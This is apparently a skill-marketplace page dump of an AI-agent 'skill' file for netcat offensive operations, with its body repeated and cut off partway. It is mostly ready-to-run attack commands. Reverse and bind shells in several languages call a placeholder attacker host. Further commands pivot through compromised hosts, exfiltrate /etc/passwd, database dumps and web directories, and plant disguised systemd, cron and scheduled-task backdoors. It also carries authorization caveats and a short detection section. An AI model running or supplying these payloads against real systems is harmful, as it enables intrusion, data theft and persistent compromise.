[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6EK2FAP5ADEJ9G35T199D0Z":3,"skill-same:01M6EK2FAP5ADEJ9G35T199D0Z":122},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":31,"publishedAt":52,"linkOnly":53,"markdownContent":54,"markdownBody":55,"frontMatter":56,"refName":75,"commitSha":76,"skillDirectory":77,"forksCount":78,"repositoryHtmlUrl":79,"repositoryHomepageUrl":80,"ownerHtmlUrl":81,"ownerBlogUrl":6,"ownerDescription":82,"updatedAt":83,"install":84,"resources":97},"01M6EK2FAP5ADEJ9G35T199D0Z","network-netcat",null,"Network utility for reading and writing data across TCP\u002FUDP connections, port scanning, file transfers, and backdoor communication channels. Use when: (1) Testing network connectivity and port availability, (2) Creating reverse shells and bind shells for authorized penetration testing, (3) Transferring files between systems in restricted environments, (4) Banner grabbing and service enumeration, (5) Establishing covert communication channels, (6) Testing firewall rules and network segmentation.","ComeOnOliver\u002Fskillshub","ComeOnOliver","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F43215937?v=4","01M6E5JNFECJAAVFE0W7SMWWD2","Haoran Shu","01M6E5JNNDQS7AJZDYFQ8TPZCK",66,"MIT","https:\u002F\u002Fgithub.com\u002FComeOnOliver\u002Fskillshub\u002Fblob\u002Fmain\u002Fskills\u002Faiskillstore\u002Fmarketplace\u002Fagentsecops\u002Fnetwork-netcat\u002FSKILL.md",[18,23,26],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":27,"categoryName":28,"taxonomyType":29,"taxonomyTypeDesc":30},"01JBSEEDCAT000000000000037","律师与法务","PROFESSION","适用职业",[32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51],"network netcat","network","segmentation","penetration","port","bind","files","use","guide","Rules","PTES","testing","port-scanning","ATT&CK","firewall","Nmap","file","tcp","gmail","writing","2026-11-10 10:12:30",false,"---\nname: network-netcat\ndescription: >\n  Network utility for reading and writing data across TCP\u002FUDP connections, port scanning, file\n  transfers, and backdoor communication channels. Use when: (1) Testing network connectivity and\n  port availability, (2) Creating reverse shells and bind shells for authorized penetration testing,\n  (3) Transferring files between systems in restricted environments, (4) Banner grabbing and service\n  enumeration, (5) Establishing covert communication channels, (6) Testing firewall rules and network\n  segmentation.\nversion: 0.1.0\nmaintainer: sirappsec@gmail.com\ncategory: offsec\ntags: [networking, netcat, reverse-shell, file-transfer, port-scanning, banner-grabbing]\nframeworks: [MITRE-ATT&CK, PTES]\ndependencies:\n  packages: [netcat, ncat]\nreferences:\n  - https:\u002F\u002Fnmap.org\u002Fncat\u002Fguide\u002Findex.html\n  - https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1059\u002F\n---\n\n# Netcat Network Utility\n\n## Overview\n\nNetcat (nc) is the \"Swiss Army knife\" of networking tools, providing simple Unix utility for reading and writing data across network connections. This skill covers authorized offensive security applications including reverse shells, bind shells, file transfers, port scanning, and banner grabbing.\n\n**IMPORTANT**: Netcat capabilities can be used maliciously. Only use these techniques in authorized penetration testing environments with proper written permission.\n\n## Quick Start\n\nBasic connection and listening:\n\n```bash\n# Listen on port 4444\nnc -lvnp 4444\n\n# Connect to remote host\nnc \u003Ctarget-ip> \u003Cport>\n\n# Banner grab a service\necho \"\" | nc \u003Ctarget-ip> 80\n\n# Simple port scan\nnc -zv \u003Ctarget-ip> 1-1000\n```\n\n## Core Workflow\n\n### Netcat Operations Workflow\n\nProgress:\n[ ] 1. Verify authorization for network testing\n[ ] 2. Test basic connectivity and port availability\n[ ] 3. Perform banner grabbing and service enumeration\n[ ] 4. Establish reverse or bind shells (if authorized)\n[ ] 5. Transfer files between systems\n[ ] 6. Create relay and pivot connections\n[ ] 7. Document findings and clean up connections\n[ ] 8. Remove any backdoors or persistence mechanisms\n\nWork through each step systematically. Check off completed items.\n\n### 1. Authorization Verification\n\n**CRITICAL**: Before any netcat operations:\n- Confirm written authorization for network testing\n- Verify in-scope targets and allowed activities\n- Understand restrictions on shell access and data exfiltration\n- Document emergency contact procedures\n- Confirm cleanup requirements post-engagement\n\n### 2. Basic Connectivity Testing\n\nTest network connectivity and port availability:\n\n```bash\n# TCP connection test\nnc -vz \u003Ctarget-ip> \u003Cport>\n\n# UDP connection test\nnc -uvz \u003Ctarget-ip> \u003Cport>\n\n# Test port range\nnc -zv \u003Ctarget-ip> 20-30\n\n# Verbose output\nnc -v \u003Ctarget-ip> \u003Cport>\n```\n\n**Connection test results**:\n- **Connection succeeded**: Port is open and accepting connections\n- **Connection refused**: Port is closed\n- **Connection timeout**: Port is filtered by firewall or no response\n\n### 3. Banner Grabbing\n\nExtract service banner information:\n\n```bash\n# HTTP banner grab\necho -e \"GET \u002F HTTP\u002F1.0\\r\\n\\r\\n\" | nc \u003Ctarget-ip> 80\n\n# SMTP banner grab\necho \"QUIT\" | nc \u003Ctarget-ip> 25\n\n# FTP banner grab\necho \"QUIT\" | nc \u003Ctarget-ip> 21\n\n# SSH banner grab\nnc \u003Ctarget-ip> 22\n\n# Generic banner grab with timeout\ntimeout 2 nc \u003Ctarget-ip> \u003Cport>\n```\n\n**Service-specific banner grabbing**:\n\n```bash\n# MySQL banner\nnc \u003Ctarget-ip> 3306\n\n# PostgreSQL banner\nnc \u003Ctarget-ip> 5432\n\n# SMB\u002FCIFS banner\nnc \u003Ctarget-ip> 445\n\n# RDP banner\nnc \u003Ctarget-ip> 3389\n```\n\n### 4. Port Scanning\n\nSimple port scanning (note: nmap is more comprehensive):\n\n```bash\n# Scan single port\nnc -zv \u003Ctarget-ip> 80\n\n# Scan port range\nnc -zv \u003Ctarget-ip> 1-1000\n\n# Scan specific ports\nfor port in 21 22 23 25 80 443 3389; do\n  nc -zv \u003Ctarget-ip> $port 2>&1 | grep succeeded\ndone\n\n# Fast UDP scan\nnc -uzv \u003Ctarget-ip> 53,161,500\n```\n\n**Limitations of netcat port scanning**:\n- Slower than dedicated port scanners\n- Limited stealth capabilities\n- No service version detection\n- Better for quick ad-hoc testing\n\n### 5. Reverse Shells (Authorized Testing Only)\n\nEstablish reverse shell connections from target to attacker:\n\n**Attacker machine (listener)**:\n```bash\n# Start listener\nnc -lvnp 4444\n\n# With verbose output\nnc -lvnp 4444 -v\n```\n\n**Target machine (connector)**:\n\n```bash\n# Linux reverse shell\nnc \u003Cattacker-ip> 4444 -e \u002Fbin\u002Fbash\n\n# If -e not available (OpenBSD netcat)\nrm \u002Ftmp\u002Ff; mkfifo \u002Ftmp\u002Ff; cat \u002Ftmp\u002Ff | \u002Fbin\u002Fsh -i 2>&1 | nc \u003Cattacker-ip> 4444 > \u002Ftmp\u002Ff\n\n# Python reverse shell\npython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\u003Cattacker-ip>\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"\u002Fbin\u002Fsh\",\"-i\"])'\n\n# Bash reverse shell\nbash -i >& \u002Fdev\u002Ftcp\u002F\u003Cattacker-ip>\u002F4444 0>&1\n\n# Windows reverse shell (with ncat)\nncat.exe \u003Cattacker-ip> 4444 -e cmd.exe\n\n# PowerShell reverse shell\npowershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('\u003Cattacker-ip>',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"\n```\n\n**Upgrade reverse shell to interactive TTY**:\n\n```bash\n# Python PTY upgrade\npython -c 'import pty; pty.spawn(\"\u002Fbin\u002Fbash\")'\npython3 -c 'import pty; pty.spawn(\"\u002Fbin\u002Fbash\")'\n\n# Background shell with Ctrl+Z, then:\nstty raw -echo; fg\nexport TERM=xterm\nexport SHELL=\u002Fbin\u002Fbash\n```\n\n### 6. Bind Shells (Authorized Testing Only)\n\nCreate listening shell on target machine:\n\n**Target machine (listener with shell)**:\n```bash\n# Linux bind shell\nnc -lvnp 4444 -e \u002Fbin\u002Fbash\n\n# Without -e flag\nrm \u002Ftmp\u002Ff; mkfifo \u002Ftmp\u002Ff; cat \u002Ftmp\u002Ff | \u002Fbin\u002Fsh -i 2>&1 | nc -lvnp 4444 > \u002Ftmp\u002Ff\n\n# Windows bind shell\nncat.exe -lvnp 4444 -e cmd.exe\n```\n\n**Attacker machine (connect to bind shell)**:\n```bash\nnc \u003Ctarget-ip> 4444\n```\n\n**Bind shell vs Reverse shell**:\n- **Bind Shell**: Target listens, attacker connects (blocked by outbound firewalls)\n- **Reverse Shell**: Attacker listens, target connects (bypasses inbound firewall rules)\n\n### 7. File Transfers\n\nTransfer files between systems:\n\n**Receiving file (listener)**:\n```bash\n# Receive file on port 5555\nnc -lvnp 5555 > received_file.txt\n```\n\n**Sending file (connector)**:\n```bash\n# Send file to listener\nnc \u003Creceiver-ip> 5555 \u003C file_to_send.txt\n\n# With progress indication\npv file_to_send.txt | nc \u003Creceiver-ip> 5555\n```\n\n**Directory\u002Farchive transfer**:\n\n```bash\n# Sender: tar and compress directory, send via netcat\ntar czf - \u002Fpath\u002Fto\u002Fdirectory | nc \u003Creceiver-ip> 5555\n\n# Receiver: receive and extract\nnc -lvnp 5555 | tar xzf -\n```\n\n**Large file transfer with verification**:\n\n```bash\n# Sender: calculate checksum before sending\nmd5sum large_file.iso\ncat large_file.iso | nc \u003Creceiver-ip> 5555\n\n# Receiver: receive and verify\nnc -lvnp 5555 > large_file.iso\nmd5sum large_file.iso\n```\n\n### 8. Encrypted File Transfer\n\nUse ncat with SSL for encrypted transfers:\n\n```bash\n# Receiver with SSL\nncat -lvnp 5555 --ssl > received_file.txt\n\n# Sender with SSL\nncat \u003Creceiver-ip> 5555 --ssl \u003C file_to_send.txt\n\n# Generate self-signed certificate for ncat\nopenssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.key\nncat -lvnp 5555 --ssl --ssl-cert cert.pem --ssl-key cert.key\n```\n\n### 9. Relay and Pivoting\n\nCreate relay connections through compromised hosts:\n\n```bash\n# Simple relay: forward connections from port 8080 to internal host\nmkfifo backpipe\nnc -lvnp 8080 0\u003Cbackpipe | nc \u003Cinternal-target-ip> 80 1>backpipe\n\n# Two-way relay\nnc -lvnp 8080 -c \"nc \u003Cinternal-target-ip> 80\"\n\n# Use ncat for more reliable relay\nncat -lvnp 8080 --sh-exec \"ncat \u003Cinternal-target-ip> 80\"\n```\n\n**Pivot chain example**:\n\n```bash\n# Compromised Host A (DMZ): relay to internal network\nnc -lvnp 9090 -c \"nc 192.168.1.100 3389\"\n\n# Attacker: connect through pivot\nnc \u003Ccompromised-host-a> 9090\n```\n\n### 10. Chat and Communication\n\nSimple chat server for covert communication:\n\n```bash\n# Host 1 (listener)\nnc -lvnp 6666\n\n# Host 2 (connector)\nnc \u003Chost1-ip> 6666\n```\n\n**Two-way communication**: Both parties can type and messages appear on both sides.\n\n## Security Considerations\n\n### Authorization & Legal Compliance\n\n- **Written Permission**: Obtain explicit authorization for all netcat operations\n- **Shell Access**: Reverse\u002Fbind shells are invasive, require clear authorization\n- **Data Exfiltration**: File transfers may trigger DLP alerts\n- **Covert Channels**: Relay connections can bypass security controls\n- **Cleanup**: Remove all shells, listeners, and backdoors post-engagement\n\n### Operational Security\n\n- **Encryption**: Use ncat with --ssl for encrypted connections\n- **Logging**: Netcat leaves minimal forensic artifacts but connections are logged\n- **Detection**: IDS\u002FIPS may detect common reverse shell patterns\n- **Egress Filtering**: Outbound connections may be blocked\n- **Port Selection**: Use common ports (80, 443, 53) to blend with normal traffic\n\n### Audit Logging\n\nDocument all netcat activities:\n- Connection timestamps and duration\n- Source and destination IP addresses and ports\n- Type of operation (shell, file transfer, relay)\n- Commands executed through shells\n- Files transferred\n- Any errors or connection failures\n\n### Compliance\n\n- **MITRE ATT&CK**:\n  - T1059.004 (Unix Shell)\n  - T1071.001 (Web Protocols)\n  - T1090 (Proxy\u002FMulti-hop Proxy)\n  - T1105 (Ingress Tool Transfer)\n- **PTES**: Exploitation and post-exploitation phases\n- **OWASP**: Command injection testing methodology\n\n## Common Patterns\n\n### Pattern 1: Web Server Vulnerability Validation\n\n```bash\n# Test for command injection vulnerability\necho -e \"GET \u002F?cmd=id HTTP\u002F1.0\\r\\n\\r\\n\" | nc \u003Ctarget-ip> 80\n\n# SQL injection parameter testing\necho -e \"GET \u002Fpage?id=1' OR '1'='1 HTTP\u002F1.0\\r\\n\\r\\n\" | nc \u003Ctarget-ip> 80\n\n# Test HTTP methods\necho -e \"OPTIONS \u002F HTTP\u002F1.0\\r\\n\\r\\n\" | nc \u003Ctarget-ip> 80\n```\n\n### Pattern 2: Multi-stage Payload Delivery\n\n```bash\n# Stage 1: Attacker listener\nnc -lvnp 4444 > stage2_payload.sh\n\n# Stage 2: Target downloads next stage\nnc \u003Cattacker-ip> 4444 \u003C \u002Fdev\u002Fnull > \u002Ftmp\u002Fstage2.sh\nchmod +x \u002Ftmp\u002Fstage2.sh\n\u002Ftmp\u002Fstage2.sh\n\n# Stage 3: Execute downloaded payload\n# (payload establishes full reverse shell)\n```\n\n### Pattern 3: Data Exfiltration\n\n```bash\n# Exfiltrate sensitive files\ncat \u002Fetc\u002Fpasswd | nc \u003Cattacker-ip> 5555\n\n# Exfiltrate database dump\nmysqldump -u root -p database_name | nc \u003Cattacker-ip> 5555\n\n# Compress and exfiltrate directory\ntar czf - \u002Fvar\u002Fwww\u002Fhtml | nc \u003Cattacker-ip> 5555\n\n# Receiver\nnc -lvnp 5555 > exfiltrated_data.tar.gz\n```\n\n### Pattern 4: Persistent Backdoor (Authorized Testing)\n\n```bash\n# Create systemd service for persistence (Linux)\ncat > \u002Fetc\u002Fsystemd\u002Fsystem\u002Fnetcat-backdoor.service \u003C\u003CEOF\n[Unit]\nDescription=Network Connectivity Check\nAfter=network.target\n\n[Service]\nType=simple\nExecStart=\u002Fbin\u002Fnc \u003Cattacker-ip> 4444 -e \u002Fbin\u002Fbash\nRestart=always\nRestartSec=60\n\n[Install]\nWantedBy=multi-user.target\nEOF\n\nsystemctl enable netcat-backdoor.service\nsystemctl start netcat-backdoor.service\n\n# Cron-based persistence\n(crontab -l; echo \"@reboot \u002Fbin\u002Fnc \u003Cattacker-ip> 4444 -e \u002Fbin\u002Fbash\") | crontab -\n\n# Windows scheduled task\nschtasks \u002Fcreate \u002Ftn \"NetworkCheck\" \u002Ftr \"C:\\ncat.exe \u003Cattacker-ip> 4444 -e cmd.exe\" \u002Fsc onstart \u002Fru System\n```\n\n## Integration Points\n\n### Metasploit Integration\n\nUse netcat as post-exploitation utility:\n\n```bash\n# Metasploit session backgrounding and netcat shell\nmeterpreter > execute -f nc -a \"\u003Cattacker-ip> 4444 -e \u002Fbin\u002Fbash\"\n\n# Upload netcat to target\nmeterpreter > upload \u002Fusr\u002Fbin\u002Fnc \u002Ftmp\u002Fnc\nmeterpreter > shell\nsh-4.2$ \u002Ftmp\u002Fnc \u003Cattacker-ip> 5555 -e \u002Fbin\u002Fbash\n```\n\n### Scripting and Automation\n\n```bash\n#!\u002Fbin\u002Fbash\n# automated_shell_catcher.sh - Automatic reverse shell handler\n\nPORT=4444\nLOG_DIR=\"shells\u002F$(date +%Y%m%d)\"\nmkdir -p \"$LOG_DIR\"\n\nwhile true; do\n  TIMESTAMP=$(date +%H%M%S)\n  echo \"[*] Listening on port $PORT...\"\n  nc -lvnp $PORT | tee \"$LOG_DIR\u002Fshell_$TIMESTAMP.log\"\n  echo \"[*] Connection closed, restarting listener...\"\n  sleep 2\ndone\n```\n\n## Troubleshooting\n\n### Issue: \"nc: command not found\"\n\n**Solutions**:\n```bash\n# Install netcat (Ubuntu\u002FDebian)\nsudo apt-get install netcat-traditional\nsudo apt-get install netcat-openbsd\n\n# Install ncat (Nmap project, more features)\nsudo apt-get install ncat\n\n# Check available version\nwhich nc ncat netcat\n```\n\n### Issue: \"-e flag not supported\"\n\n**Solution**: Use alternative technique with named pipes:\n\n```bash\n# Linux reverse shell without -e\nrm \u002Ftmp\u002Ff; mkfifo \u002Ftmp\u002Ff\ncat \u002Ftmp\u002Ff | \u002Fbin\u002Fsh -i 2>&1 | nc \u003Cattacker-ip> 4444 > \u002Ftmp\u002Ff\n\n# Or use ncat which supports -e\nncat \u003Cattacker-ip> 4444 -e \u002Fbin\u002Fbash\n```\n\n### Issue: Connection Dies Immediately\n\n**Causes**:\n- Firewall blocking connection\n- No interactive prompt keeping connection alive\n- Process killed by security software\n\n**Solutions**:\n```bash\n# Keep connection alive with while loop\nwhile true; do nc \u003Cattacker-ip> 4444 -e \u002Fbin\u002Fbash; sleep 10; done\n\n# Use ncat with keep-alive\nncat -lvnp 4444 --keep-open\n\n# Add reconnection logic\nwhile true; do nc \u003Cattacker-ip> 4444 -e \u002Fbin\u002Fbash 2>\u002Fdev\u002Fnull; sleep 60; done\n```\n\n### Issue: Can't Get Interactive Shell\n\n**Solutions**:\n```bash\n# Upgrade to PTY shell\npython -c 'import pty; pty.spawn(\"\u002Fbin\u002Fbash\")'\n\n# Set terminal type\nexport TERM=xterm\n\n# Enable raw mode (for Ctrl+C, etc.)\n# On attacker machine, background shell with Ctrl+Z:\nstty raw -echo; fg\n```\n\n## Defensive Considerations\n\nOrganizations can detect netcat activity by:\n\n- **Process Monitoring**: Detect nc\u002Fncat process execution\n- **Network Monitoring**: Unusual outbound connections to non-standard ports\n- **Command-Line Auditing**: Monitor for -e flag usage\n- **Traffic Analysis**: Unencrypted shell traffic patterns\n- **File Integrity**: Detect unauthorized netcat binaries\n\nEnhance defensive posture:\n- Block outbound connections to non-business ports\n- Monitor for process execution from unusual locations\n- Deploy EDR solutions to detect reverse shell patterns\n- Enable egress filtering on firewalls\n- Audit Sysmon Event ID 1 (Process Creation) for nc\u002Fncat\n- Detect named pipe creation (Linux: mkfifo)\n- Monitor cron jobs and systemd services for suspicious entries\n\n## References\n\n- [Ncat Users' Guide](https:\u002F\u002Fnmap.org\u002Fncat\u002Fguide\u002Findex.html)\n- [GTFOBins: netcat](https:\u002F\u002Fgtfobins.github.io\u002Fgtfobins\u002Fnc\u002F)\n- [MITRE ATT&CK: Command and Scripting Interpreter](https:\u002F\u002Fattack.mitre.org\u002Ftechniques\u002FT1059\u002F)\n- [PTES: Post Exploitation](http:\u002F\u002Fwww.pentest-standard.org\u002Findex.php\u002FPost_Exploitation)\n- [Reverse Shell Cheat Sheet](https:\u002F\u002Fgithub.com\u002Fswisskyrepo\u002FPayloadsAllTheThings\u002Fblob\u002Fmaster\u002FMethodology%20and%20Resources\u002FReverse%20Shell%20Cheatsheet.md)\n","# Netcat Network Utility\n\n## Overview\n\nNetcat (nc) is the \"Swiss Army knife\" of networking tools, providing simple Unix utility for reading and writing data across network connections. This skill covers authorized offensive security applications including reverse shells, bind shells, file transfers, port scanning, and banner grabbing.\n\n**IMPORTANT**: Netcat capabilities can be used maliciously. Only use these techniques in authorized penetration testing environments with proper written permission.\n\n## Quick Start\n\nBasic connection and listening:\n\n```bash\n# Listen on port 4444\nnc -lvnp 4444\n\n# Connect to remote host\nnc \u003Ctarget-ip> \u003Cport>\n\n# Banner grab a service\necho \"\" | nc \u003Ctarget-ip> 80\n\n# Simple port scan\nnc -zv \u003Ctarget-ip> 1-1000\n```\n\n## Core Workflow\n\n### Netcat Operations Workflow\n\nProgress:\n[ ] 1. Verify authorization for network testing\n[ ] 2. Test basic connectivity and port availability\n[ ] 3. Perform banner grabbing and service enumeration\n[ ] 4. Establish reverse or bind shells (if authorized)\n[ ] 5. Transfer files between systems\n[ ] 6. Create relay and pivot connections\n[ ] 7. Document findings and clean up connections\n[ ] 8. Remove any backdoors or persistence mechanisms\n\nWork through each step systematically. Check off completed items.\n\n### 1. Authorization Verification\n\n**CRITICAL**: Before any netcat operations:\n- Confirm written authorization for network testing\n- Verify in-scope targets and allowed activities\n- Understand restrictions on shell access and data exfiltration\n- Document emergency contact procedures\n- Confirm cleanup requirements post-engagement\n\n### 2. Basic Connectivity Testing\n\nTest network connectivity and port availability:\n\n```bash\n# TCP connection test\nnc -vz \u003Ctarget-ip> \u003Cport>\n\n# UDP connection test\nnc -uvz \u003Ctarget-ip> \u003Cport>\n\n# Test port range\nnc -zv \u003Ctarget-ip> 20-30\n\n# Verbose output\nnc -v \u003Ctarget-ip> \u003Cport>\n```\n\n**Connection test results**:\n- **Connection succeeded**: Port is open and accepting connections\n- **Connection refused**: Port is closed\n- **Connection timeout**: Port is filtered by firewall or no response\n\n### 3. Banner Grabbing\n\nExtract service banner information:\n\n```bash\n# HTTP banner grab\necho -e \"GET \u002F HTTP\u002F1.0\\r\\n\\r\\n\" | nc \u003Ctarget-ip> 80\n\n# SMTP banner grab\necho \"QUIT\" | nc \u003Ctarget-ip> 25\n\n# FTP banner grab\necho \"QUIT\" | nc \u003Ctarget-ip> 21\n\n# SSH banner grab\nnc \u003Ctarget-ip> 22\n\n# Generic banner grab with timeout\ntimeout 2 nc \u003Ctarget-ip> \u003Cport>\n```\n\n**Service-specific banner grabbing**:\n\n```bash\n# MySQL banner\nnc \u003Ctarget-ip> 3306\n\n# PostgreSQL banner\nnc \u003Ctarget-ip> 5432\n\n# SMB\u002FCIFS banner\nnc \u003Ctarget-ip> 445\n\n# RDP banner\nnc \u003Ctarget-ip> 3389\n```\n\n### 4. Port Scanning\n\nSimple port scanning (note: nmap is more comprehensive):\n\n```bash\n# Scan single port\nnc -zv \u003Ctarget-ip> 80\n\n# Scan port range\nnc -zv \u003Ctarget-ip> 1-1000\n\n# Scan specific ports\nfor port in 21 22 23 25 80 443 3389; do\n  nc -zv \u003Ctarget-ip> $port 2>&1 | grep succeeded\ndone\n\n# Fast UDP scan\nnc -uzv \u003Ctarget-ip> 53,161,500\n```\n\n**Limitations of netcat port scanning**:\n- Slower than dedicated port scanners\n- Limited stealth capabilities\n- No service version detection\n- Better for quick ad-hoc testing\n\n### 5. Reverse Shells (Authorized Testing Only)\n\nEstablish reverse shell connections from target to attacker:\n\n**Attacker machine (listener)**:\n```bash\n# Start listener\nnc -lvnp 4444\n\n# With verbose output\nnc -lvnp 4444 -v\n```\n\n**Target machine (connector)**:\n\n```bash\n# Linux reverse shell\nnc \u003Cattacker-ip> 4444 -e \u002Fbin\u002Fbash\n\n# If -e not available (OpenBSD netcat)\nrm \u002Ftmp\u002Ff; mkfifo \u002Ftmp\u002Ff; cat \u002Ftmp\u002Ff | \u002Fbin\u002Fsh -i 2>&1 | nc \u003Cattacker-ip> 4444 > \u002Ftmp\u002Ff\n\n# Python reverse shell\npython -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"\u003Cattacker-ip>\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"\u002Fbin\u002Fsh\",\"-i\"])'\n\n# Bash reverse shell\nbash -i >& \u002Fdev\u002Ftcp\u002F\u003Cattacker-ip>\u002F4444 0>&1\n\n# Windows reverse shell (with ncat)\nncat.exe \u003Cattacker-ip> 4444 -e cmd.exe\n\n# PowerShell reverse shell\npowershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('\u003Cattacker-ip>',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"\n```\n\n**Upgrade reverse shell to interactive TTY**:\n\n```bash\n# Python PTY upgrade\npython -c 'import pty; pty.spawn(\"\u002Fbin\u002Fbash\")'\npython3 -c 'import pty; pty.spawn(\"\u002Fbin\u002Fbash\")'\n\n# Background shell with Ctrl+Z, then:\nstty raw -echo; fg\nexport TERM=xterm\nexport SHELL=\u002Fbin\u002Fbash\n```\n\n### 6. Bind Shells (Authorized Testing Only)\n\nCreate listening shell on target machine:\n\n**Target machine (listener with shell)**:\n```bash\n# Linux bind shell\nnc -lvnp 4444 -e \u002Fbin\u002Fbash\n\n# Without -e flag\nrm \u002Ftmp\u002Ff; mkfifo \u002Ftmp\u002Ff; cat \u002Ftmp\u002Ff | \u002Fbin\u002Fsh -i 2>&1 | nc -lvnp 4444 > \u002Ftmp\u002Ff\n\n# Windows bind shell\nncat.exe -lvnp 4444 -e cmd.exe\n```\n\n**Attacker machine (connect to bind shell)**:\n```bash\nnc \u003Ctarget-ip> 4444\n```\n\n**Bind shell vs Reverse shell**:\n- **Bind Shell**: Target listens, attacker connects (blocked by outbound firewalls)\n- **Reverse Shell**: Attacker listens, target connects (bypasses inbound firewall rules)\n\n### 7. File Transfers\n\nTransfer files between systems:\n\n**Receiving file (listener)**:\n```bash\n# Receive file on port 5555\nnc -lvnp 5555 > received_file.txt\n```\n\n**Sending file (connector)**:\n```bash\n# Send file to listener\nnc \u003Creceiver-ip> 5555 \u003C file_to_send.txt\n\n# With progress indication\npv file_to_send.txt | nc \u003Creceiver-ip> 5555\n```\n\n**Directory\u002Farchive transfer**:\n\n```bash\n# Sender: tar and compress directory, send via netcat\ntar czf - \u002Fpath\u002Fto\u002Fdirectory | nc \u003Creceiver-ip> 5555\n\n# Receiver: receive and extract\nnc -lvnp 5555 | tar xzf -\n```\n\n**Large file transfer with verification**:\n\n```bash\n# Sender: calculate checksum before sending\nmd5sum large_file.iso\ncat large_file.iso | nc \u003Creceiver-ip> 5555\n\n# Receiver: receive and verify\nnc -lvnp 5555 > large_file.iso\nmd5sum large_file.iso\n```\n\n### 8. Encrypted File Transfer\n\nUse ncat with SSL for encrypted transfers:\n\n```bash\n# Receiver with SSL\nncat -lvnp 5555 --ssl > received_file.txt\n\n# Sender with SSL\nncat \u003Creceiver-ip> 5555 --ssl \u003C file_to_send.txt\n\n# Generate self-signed certificate for ncat\nopenssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.key\nncat -lvnp 5555 --ssl --ssl-cert cert.pem --ssl-key cert.key\n```\n\n### 9. Relay and Pivoting\n\nCreate relay connections through compromised hosts:\n\n```bash\n# Simple relay: forward connections from port 8080 to internal host\nmkfifo backpipe\nnc -lvnp 8080 0\u003Cbackpipe | nc \u003Cinternal-target-ip> 80 1>backpipe\n\n# Two-way relay\nnc -lvnp 8080 -c \"nc \u003Cinternal-target-ip> 80\"\n\n# Use ncat for more reliable relay\nncat -lvnp 8080 --sh-exec \"ncat \u003Cinternal-target-ip> 80\"\n```\n\n**Pivot chain example**:\n\n```bash\n# Compromised Host A (DMZ): relay to internal network\nnc -lvnp 9090 -c \"nc 192.168.1.100 3389\"\n\n# Attacker: connect through pivot\nnc \u003Ccompromised-host-a> 9090\n```\n\n### 10. Chat and Communication\n\nSimple chat server for covert communication:\n\n```bash\n# Host 1 (listener)\nnc -lvnp 6666\n\n# Host 2 (connector)\nnc \u003Chost1-ip> 6666\n```\n\n**Two-way communication**: Both parties can type and messages appear on both sides.\n\n## Security Considerations\n\n### Authorization & Legal Compliance\n\n- **Written Permission**: Obtain explicit authorization for all netcat operations\n- **Shell Access**: Reverse\u002Fbind shells are invasive, require clear authorization\n- **Data Exfiltration**: File transfers may trigger DLP alerts\n- **Covert Channels**: Relay connections can bypass security controls\n- **Cleanup**: Remove all shells, listeners, and backdoors post-engagement\n\n### Operational Security\n\n- **Encryption**: Use ncat with --ssl for encrypted connections\n- **Logging**: Netcat leaves minimal forensic artifacts but connections are logged\n- **Detection**: IDS\u002FIPS may detect common reverse shell patterns\n- **Egress Filtering**: Outbound connections may be blocked\n- **Port Selection**: Use common ports (80, 443, 53) to blend with normal traffic\n\n### Audit Logging\n\nDocument all netcat activities:\n- Connection timestamps and duration\n- Source and destination IP addresses and ports\n- Type of operation (shell, file transfer, relay)\n- Commands executed through shells\n- Files transferred\n- Any errors or connection failures\n\n### Compliance\n\n- **MITRE ATT&CK**:\n  - T1059.004 (Unix Shell)\n  - T1071.001 (Web Protocols)\n  - T1090 (Proxy\u002FMulti-hop Proxy)\n  - T1105 (Ingress Tool Transfer)\n- **PTES**: Exploitation and post-exploitation phases\n- **OWASP**: Command injection testing methodology\n\n## Common Patterns\n\n### Pattern 1: Web Server Vulnerability Validation\n\n```bash\n# Test for command injection vulnerability\necho -e \"GET \u002F?cmd=id HTTP\u002F1.0\\r\\n\\r\\n\" | nc \u003Ctarget-ip> 80\n\n# SQL injection parameter testing\necho -e \"GET \u002Fpage?id=1' OR '1'='1 HTTP\u002F1.0\\r\\n\\r\\n\" | nc \u003Ctarget-ip> 80\n\n# Test HTTP methods\necho -e \"OPTIONS \u002F HTTP\u002F1.0\\r\\n\\r\\n\" | nc \u003Ctarget-ip> 80\n```\n\n### 